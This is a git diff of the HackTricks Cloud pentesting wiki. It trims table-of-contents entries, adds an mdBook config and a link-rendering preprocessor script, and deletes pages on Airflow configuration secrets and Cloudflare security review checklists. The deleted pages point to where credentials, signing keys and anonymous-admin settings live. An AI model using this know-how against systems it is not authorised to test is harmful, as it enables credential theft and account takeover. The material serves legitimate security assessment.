-  * [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
-    * [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
-      * [Az- Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
-      * [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
-      * [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
-      * [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
-      * [Az - PHS - Password Hash Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md)
-      * [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
-      * [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
-      * [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
-    * [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md)
-    * [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
-    * [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md)
-    * [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md)
-    * [Az - Phishing Primary Refresh Token (Microsoft Entra)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md)
-    * [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md)
-    * [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
-  * [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
-    * [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
-    * [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
-    * [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
-    * [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
-    * [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
-    * [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
-    * [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
-    * [Az - SQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md)
-    * [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
-  * [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
-    * [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
-    * [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
-    * [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
-      * [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
-      * [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
-    * [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
-    * [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
-    * [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
-    * [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
-    * [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
-    * [Az - Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md)
-    * [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
-  * [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
-    * [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
-    * [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
-    * [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
-  * [Az - Device Registration](pentesting-cloud/azure-security/az-device-registration.md)
-* [Digital Ocean Pentesting](pentesting-cloud/digital-ocean-pentesting/README.md)
-  * [DO - Basic Information](pentesting-cloud/digital-ocean-pentesting/do-basic-information.md)
-  * [DO - Permissions for a Pentest](pentesting-cloud/digital-ocean-pentesting/do-permissions-for-a-pentest.md)
-  * [DO - Services](pentesting-cloud/digital-ocean-pentesting/do-services/README.md)
-    * [DO - Apps](pentesting-cloud/digital-ocean-pentesting/do-services/do-apps.md)
-    * [DO - Container Registry](pentesting-cloud/digital-ocean-pentesting/do-services/do-container-registry.md)
-    * [DO - Databases](pentesting-cloud/digital-ocean-pentesting/do-services/do-databases.md)
-    * [DO - Droplets](pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md)
-    * [DO - Functions](pentesting-cloud/digital-ocean-pentesting/do-services/do-functions.md)
-    * [DO - Images](pentesting-cloud/digital-ocean-pentesting/do-services/do-images.md)
-    * [DO - Kubernetes (DOKS)](pentesting-cloud/digital-ocean-pentesting/do-services/do-kubernetes-doks.md)
-    * [DO - Networking](pentesting-cloud/digital-ocean-pentesting/do-services/do-networking.md)
-    * [DO - Projects](pentesting-cloud/digital-ocean-pentesting/do-services/do-projects.md)
-    * [DO - Spaces](pentesting-cloud/digital-ocean-pentesting/do-services/do-spaces.md)
-    * [DO - Volumes](pentesting-cloud/digital-ocean-pentesting/do-services/do-volumes.md)
-* [IBM Cloud Pentesting](pentesting-cloud/ibm-cloud-pentesting/README.md)
-  * [IBM - Hyper Protect Crypto Services](pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-crypto-services.md)
-  * [IBM - Hyper Protect Virtual Server](pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-virtual-server.md)
-  * [IBM - Basic Information](pentesting-cloud/ibm-cloud-pentesting/ibm-basic-information.md)
-* [OpenShift Pentesting](pentesting-cloud/openshift-pentesting/README.md)
-  * [OpenShift - Basic information](pentesting-cloud/openshift-pentesting/openshift-basic-information.md)
-  * [Openshift - SCC](pentesting-cloud/openshift-pentesting/openshift-scc.md)
-  * [OpenShift - Jenkins](pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md)
-    * [OpenShift - Jenkins Build Pod Override](pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md)
-  * [OpenShift - Privilege Escalation](pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md)
-    * [OpenShift - Missing Service Account](pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md)
-    * [OpenShift - Tekton](pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md)
-    * [OpenShift - SCC bypass](pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md)
-
-## 🛫 Pentesting Network Services
-
-* [HackTricks Pentesting Network](https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network)
-* [HackTricks Pentesting Services](https://book.hacktricks.xyz/network-services-pentesting/pentesting-ssh)
diff --git a/book.toml b/book.toml
new file mode 100644
index 000000000..4add3bde9
--- /dev/null
+++ b/book.toml
@@ -0,0 +1,44 @@
+[book]
+authors = ["Carlos Polop"]
+language = "en"
+multilingual = false
+src = "src"
+title = "HackTricks Cloud"
+
+[build]
+create-missing = false
+extra-watch-dirs = ["translations"]
+
+[preprocessor.alerts]
+after = ["links"]
+
+[preprocessor.reading-time]
+
+[preprocessor.pagetoc]
+
+[preprocessor.tabs]
+
+[preprocessor.codename]
+
+[preprocessor.hacktricks]
+command = "python3 ./hacktricks-preprocessor.py"
+
+[output.html]
+additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
+additional-js = [
+    "theme/pagetoc.js",
+    "theme/tabs.js",
+    "theme/ht_searcher.js",
+    "theme/sponsor.js",
+]
+no-section-label = true
+preferred-dark-theme = "hacktricks-dark"
+default-theme = "hacktricks-light"
+
+[output.html.fold]
+enable = true # whether or not to enable section folding
+level = 0     # the depth to start folding
+
+
+[output.html.print]
+enable = false # whether or not to enable print
diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py
new file mode 100644
index 000000000..56a0cf0dc
--- /dev/null
+++ b/hacktricks-preprocessor.py
@@ -0,0 +1,106 @@
+import json
+import sys
+import re
+import logging
+from os import path
+from urllib.request import urlopen, Request
+
+logger = logging.getLogger(__name__)
+logging.basicConfig(filename='hacktricks-preprocessor.log', filemode='w', encoding='utf-8', level=logging.DEBUG)
+
+
+def findtitle(search ,obj, key, path=(),):
+    # logger.debug(f"Looking for {search} in {path}")
+    if isinstance(obj, dict) and key in obj and obj[key] == search: 
+        return obj, path
+    if isinstance(obj, list):
+        for k, v in enumerate(obj):
+            item = findtitle(search, v, key, (*path, k))
+            if item is not None:
+                return item
+    if isinstance(obj, dict):
+        for k, v in obj.items():
+            item = findtitle(search, v, key, (*path, k))
+            if item is not None:
+                return item
+
+
+def ref(matchobj):
+    logger.debug(f'Match: {matchobj.groups(0)[0].strip()}')
+    href =  matchobj.groups(0)[0].strip()
+    title = href
+    if href.startswith("http://") or href.startswith("https://"):
+        # pass
+        try:
+            raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
+            match = re.search('<title>(.*?)</title>', raw_html)
+            title = match.group(1) if match else href
+        except Exception as e:
+            logger.debug(f'Error opening URL {href}: {e}')
+            pass #nDont stop on broken link
+    else:
+        try:
+            if href.endswith("/"):
+                href = href+"README.md" # Fix if ref points to a folder
+            chapter, _path = findtitle(href, book, "source_path")
+            logger.debug(f'Recursive title search result: {chapter['name']}')
+            title = chapter['name']
+        except Exception as e:
+            try:
+                dir = path.dirname(current_chapter['source_path'])
+                logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
+                chapter, _path = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
+                logger.debug(f'Recursive title search result: {chapter['name']}')
+                title = chapter['name']
+            except Exception as e:
+                logger.debug(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
+                print(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
+                sys.exit(1)
+
+
+    template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
+
+    # translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})
+    # translated_text = template.translate(translate_table)
+    result = template
+
+    return result
+
+
+def iterate_chapters(sections):
+    if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
+        return
+    elif isinstance(sections, dict) and "Chapter" in sections: # Is a chapter return it and look into sub items
+        # logger.debug(f"Chapter {sections['Chapter']}")
+        yield sections['Chapter']
+        yield from iterate_chapters(sections['Chapter']["sub_items"])
+    elif isinstance(sections, list):                            # Iterate through list when in sections and in sub_items
+        for k, v in enumerate(sections):
+            yield from iterate_chapters(v)
+
+
+if __name__ == '__main__':
+    global context, book, current_chapter
+    if len(sys.argv) > 1: # we check if we received any argument
+        if sys.argv[1] == "supports": 
+            # then we are good to return an exit status code of 0, since the other argument will just be the renderer's name
+            sys.exit(0)
+    logger.debug('Started hacktricks preprocessor')
+    # load both the context and the book representations from stdin
+    context, book = json.load(sys.stdin)
+
+    logger.debug(f"Context: {context}")
+
+
+    for chapter in iterate_chapters(book['sections']):
+        logger.debug(f"Chapter: {chapter['path']}")
+        current_chapter = chapter
+        regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
+        new_content = re.sub(regex, ref, chapter['content'])
+        chapter['content'] = new_content
+
+    content = json.dumps(book)
+    logger.debug(content)
+    
+
+    print(content)
\ No newline at end of file
diff --git a/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
deleted file mode 100644
index 2508f970f..000000000
--- a/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ /dev/null
@@ -1,137 +0,0 @@
-# Airflow Configuration
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Configuration File
-
-**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
-
-**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
-
-Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
-
-If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
-If you have **access to some machine inside the airflow env**, check the **environment**.
-
-Some interesting values to check when reading the config file:
-
-### \[api]
-
-* **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
-* **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
-* **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
-* **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
-  * `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
-  * `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
-  * `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
-  * `airflow.api.auth.backend.basic_auth`: For **basic authentication**
-  * `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
-    * `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
-  * You can also **create you own authentication** method with python.
-* **`google_key_path`:** Path to the **GCP service account key**
-
-### **\[atlas]**
-
-* **`password`**: Atlas password
-* **`username`**: Atlas username
-
-### \[celery]
-
-* **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
-* **`result_backend`**: Postgres url which may contain **credentials**.
-* **`ssl_cacert`**: Path to the cacert
-* **`ssl_cert`**: Path to the cert
-* **`ssl_key`**: Path to the key
-
-### \[core]
-
-* **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
-* **`fernet_key`**: Key to store encrypted variables (symmetric)
-* **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
-* **`security`**: What security module to use (for example kerberos)
-
-### \[dask]
-
-* **`tls_ca`**: Path to ca
-* **`tls_cert`**: Part to the cert
-* **`tls_key`**: Part to the tls key
-
-### \[kerberos]
-
-* **`ccache`**: Path to ccache file
-* **`forwardable`**: Enabled by default
-
-### \[logging]
-
-* **`google_key_path`**: Path to GCP JSON creds.
-
-### \[secrets]
-
-* **`backend`**: Full class name of secrets backend to enable
-* **`backend_kwargs`**: The backend\_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
-
-### \[smtp]
-
-* **`smtp_password`**: SMTP password
-* **`smtp_user`**: SMTP user
-
-### \[webserver]
-
-* **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
-* **`cookie_secure`**: Set **secure flag** on the the session cookie
-* **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
-* **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
-* **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
-* **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
-* **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
-* **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
-
-### Web Authentication
-
-By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
-
-```bash
-AUTH_TYPE = AUTH_DB
-```
-
-Which means that the **authentication is checked against the database**. However, other configurations are possible like
-
-```bash
-AUTH_TYPE = AUTH_OAUTH
-```
-
-To leave the **authentication to third party services**.
-
-However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
-
-```bash
-AUTH_ROLE_PUBLIC = 'Admin'
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-ci-cd/cloudflare-security/README.md b/pentesting-ci-cd/cloudflare-security/README.md
deleted file mode 100644
index 05741968d..000000000
--- a/pentesting-ci-cd/cloudflare-security/README.md
+++ /dev/null
@@ -1,163 +0,0 @@
-# Cloudflare Security
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
-
-<figure><img src="../../.gitbook/assets/image (117).png" alt=""><figcaption></figcaption></figure>
-
-## Websites
-
-Review each with:
-
-{% content-ref url="cloudflare-domains.md" %}
-[cloudflare-domains.md](cloudflare-domains.md)
-{% endcontent-ref %}
-
-### Domain Registration
-
-* [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
-
-Review each with:
-
-{% content-ref url="cloudflare-domains.md" %}
-[cloudflare-domains.md](cloudflare-domains.md)
-{% endcontent-ref %}
-
-## Analytics
-
-_I couldn't find anything to check for a config security review._
-
-## Pages
-
-On each Cloudflare's page:
-
-* [ ] Check for **sensitive information** in the **`Build log`**.
-* [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
-* [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/).
-* [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
-* [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
-* [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
-* [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
-
-## **Workers**
-
-On each Cloudflare's worker check:
-
-* [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
-* [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
-* [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
-  * Check for SSRFs returning the indicated page that you can control
-  * Check XSSs executing JS inside a svg image
-  * It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
-
-{% hint style="warning" %}
-Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
-{% endhint %}
-
-## R2
-
-On each R2 bucket check:
-
-* [ ] Configure **CORS Policy**.
-
-## Stream
-
-TODO
-
-## Images
-
-TODO
-
-## Security Center
-
-* [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
-  * [ ] Just **check this information** for security misconfigurations and interesting info
-
-## Turnstile
-
-TODO
-
-## **Zero Trust**
-
-{% content-ref url="cloudflare-zero-trust-network.md" %}
-[cloudflare-zero-trust-network.md](cloudflare-zero-trust-network.md)
-{% endcontent-ref %}
-
-## Bulk Redirects
-
-{% hint style="info" %}
-Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
-{% endhint %}
-
-* [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
-* [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
-
-## Notifications
-
-* [ ] Check the **notifications.** These notifications are recommended for security:
-  * `Usage Based Billing`
-  * `HTTP DDoS Attack Alert`
-  * `Layer 3/4 DDoS Attack Alert`
-  * `Advanced HTTP DDoS Attack Alert`
-  * `Advanced Layer 3/4 DDoS Attack Alert`
-  * `Flow-based Monitoring: Volumetric Attack`
-  * `Route Leak Detection Alert`
-  * `Access mTLS Certificate Expiration Alert`
-  * `SSL for SaaS Custom Hostnames Alert`
-  * `Universal SSL Alert`
-  * `Script Monitor New Code Change Detection Alert`
-  * `Script Monitor New Domain Alert`
-  * `Script Monitor New Malicious Domain Alert`
-  * `Script Monitor New Malicious Script Alert`
-  * `Script Monitor New Malicious URL Alert`
-  * `Script Monitor New Scripts Alert`
-  * `Script Monitor New Script Exceeds Max URL Length Alert`
-  * `Advanced Security Events Alert`
-  * `Security Events Alert`
-* [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
-  * [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
-
-## Manage Account
-
-* [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
-* [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
-* [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
-  * Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
-* [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
-
-{% hint style="info" %}
-Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
-{% endhint %}
-
-## DDoS Investigation
-
-[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
deleted file mode 100644
index 7eb00f0ba..000000000
--- a/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ /dev/null
@@ -1,159 +0,0 @@
-# Cloudflare Domains
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
-
-<figure><img src="../../.gitbook/assets/image (101).png" alt=""><figcaption></figcaption></figure>
-
-### Overview
-
-* [ ] Get a feeling of **how much** are the services of the account **used**
-* [ ] Find also the **zone ID** and the **account ID**
-
-### Analytics
-
-* [ ] In **`Security`** check if there is any **Rate limiting**
-
-### DNS
-
-* [ ] Check **interesting** (sensitive?) data in DNS **records**
-* [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
-* [ ] Check for web pages that **aren't** **proxied**
-* [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
-* [ ] Check that **DNSSEC** is **enabled**
-* [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
-  * This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
-* [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
-
-### **Email**
-
-TODO
-
-### Spectrum
